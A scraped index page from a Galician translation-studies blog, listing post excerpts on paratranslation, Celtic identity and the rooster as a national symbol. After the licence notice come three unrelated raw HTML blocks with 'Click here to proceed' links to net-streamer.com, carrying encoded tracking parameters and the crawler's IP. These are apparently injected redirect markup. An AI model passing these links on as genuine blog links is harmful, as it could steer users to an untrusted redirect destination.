nova-imaxe-destacada-blog

Paratradución da identidade celta no discurso público das institucións galegas

Traducir e interpretar lo público, Comares, 2016 Álvarez Lugrís, Alberto (2016) “Paratraducción de la identidad celta en el discurso público de las instituciones...
0 comentarios
Traducción e industrias culturales

Paratradución editorial

  Traducción e industrias culturales, Peter Lang, 2014   Álvarez Lugrís, Alberto (2014) «Paratraducción editorial» en Montero Domínguez, Xoán [ed.]...
0 comentarios
kokorico

KokoRico: a pluma do galo

O meu querido lector de inglés de segundo de carreira, Mitch Monsein, de Pittsburg, sentenciou no primeiro día de clase que o galo, un animal tan macho (such a...
2 comentarios
identity

Imaxes e prexuízos

A historia da tradución, que en certa forma se pode ver como unha parte da historia das linguas como vehículos da cultura, confírmanos que a lingua, nas súas diversas...
2 comentarios
Creative Commons License
Os textos e materiais publicados nesta bitácora están regulados, salvo que se indique o contrario, por unha licenza de Recoñecemento - Non Comercial - Sen Obra Derivada .3.0 de Creative Commons.
<body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=r6Rc44O6gbfLs1948tYzwDDCSUUT7q%2F5LRJGBjET77NlP1jTLJUMoOEquBAZZSLzeE5FiXnIkqqP%2B5paZ8w73YDSeEUGWRSzNBzzADVQRPgv48aDte5WMxltnW%2FzRDMmB2dxMdZithkHR00FN0xKA%2BkHYnkFPEhSk9%2FbOTitlnw%3D&prvtof=%2BzCJqNhvYIR2cUgZLX%2F6rjJwwvJ6Une93pBrQwcOBW4%3D&poru=pmFzBn7GPNq1c0B%2B2CWpU%2Bip1PPMzB3b6eLjD3UjhhxnCDfHSx%2FVHJpMHFfQ%2FJjEpcVR%2F%2BCj7T86C09Wy7m5RpyQXqHCQYGu2HgRbBf8atMvuiOVBIIwmi4w%2BKTQyqRV4NHv%2FogzeKQxk%2FmwZ5dldEv1bFPJoDZ1NpTS6XHhtJ9VxxfVt7SbcJXaREw461eG9nchew3HyD1lKuh7bY%2F%2BUciU3ElX1LYV%2Fi%2BZejjcgLQPsl4Ppc5KUFGngvqfNMet&d=paratraduccion.com%2Falugris%2F%3Ftag%3Dparatraducion&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=30d8574fdfb3929147129bf6f8e0b998">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=Ku2Q7Pvgvyx9TG3fHfiLgIFfne0dk%2FAdKXMELTyciZGuKu7vLeMIakvAfaCwFFQ6cqM8sggy%2BrpvXWGfB8%2BkgHQalkk%2By%2FCrq5ZtstPMD4oCGCFFxFYUMHo6AjsLWaalh5iyNd5OB%2Be%2FCdeqHewPXF9dMX1msXa2YmdZQB7Mg80%3D&prvtof=m4OcxBr0kTFJoDbVyDgMG7bVl7teZv8RV1YJAaeOtPY%3D&poru=PAjWFU6wVP2JAYngyhRf1X4uKBo3VItfaTaaClxTlnBzEzrdr8vNiJBgPyPRhSOo2ixFMGvsLU8s2cAuDdlrhA%2BWcyyohejB6KAxLsKIODyEwDTGLL6bcwE0RcK2s4%2FbUwHSrZ33oqN%2FMIRqQpPraYKsZ63GC39Bsc4KKTuJi8l%2BcW5bukSySdg1G8tJO3qZcSS4scfREWNYnd2q90q0P%2B10gK8%2BYcE9sa%2BpGhYHqZUKrY78QjzloaGiBkEJTtsG&d=paratraduccion.com%2Falugris%2F%3Ftag%3Dparatraducion&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=30d8574fdfb3929147129bf6f8e0b998">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=Ku2Q7Pvgvyx9TG3fHfiLgIFfne0dk%2FAdKXMELTyciZGuKu7vLeMIakvAfaCwFFQ6cqM8sggy%2BrpvXWGfB8%2BkgHQalkk%2By%2FCrq5ZtstPMD4oCGCFFxFYUMHo6AjsLWaalh5iyNd5OB%2Be%2FCdeqHewPXF9dMX1msXa2YmdZQB7Mg80%3D&prvtof=m4OcxBr0kTFJoDbVyDgMG7bVl7teZv8RV1YJAaeOtPY%3D&poru=PAjWFU6wVP2JAYngyhRf1X4uKBo3VItfaTaaClxTlnBzEzrdr8vNiJBgPyPRhSOo2ixFMGvsLU8s2cAuDdlrhA%2BWcyyohejB6KAxLsKIODyEwDTGLL6bcwE0RcK2s4%2FbUwHSrZ33oqN%2FMIRqQpPraYKsZ63GC39Bsc4KKTuJi8l%2BcW5bukSySdg1G8tJO3qZcSS4scfREWNYnd2q90q0P%2B10gK8%2BYcE9sa%2BpGhYHqZUKrY78QjzloaGiBkEJTtsG&d=paratraduccion.com%2Falugris%2F%3Ftag%3Dparatraducion&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=30d8574fdfb3929147129bf6f8e0b998">Click here to proceed</a>. </body>